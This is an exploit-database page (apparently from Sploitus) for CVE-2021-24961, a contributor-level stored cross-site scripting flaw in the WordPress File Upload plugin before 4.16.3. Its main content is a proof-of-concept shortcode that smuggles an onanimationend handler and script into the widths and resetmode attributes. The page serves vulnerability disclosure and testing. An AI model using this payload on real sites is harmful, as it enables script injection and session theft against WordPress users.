Sploitus

Exploit for WordPress File Upload < 4.16.3 - Contributor+ Stored Cross-Site Scripting via Shortcode

CVE-2021-24961

wpexploit · 2022-02-14

Exploit Code

MARKDOWN2 lines
## https://sploitus.com/exploit?id=WPEX-ID:C911BBBD-0196-4E3D-ADA3-4EFB8A339954
[wordpress_file_upload widths='title:1;animation-name&amp;colon;twentytwentyone-close-button-transition" onanimationend="alert(/XSS-widths/)' resetmode='"+alert(/XSS-restmode/)&amp;&amp;"']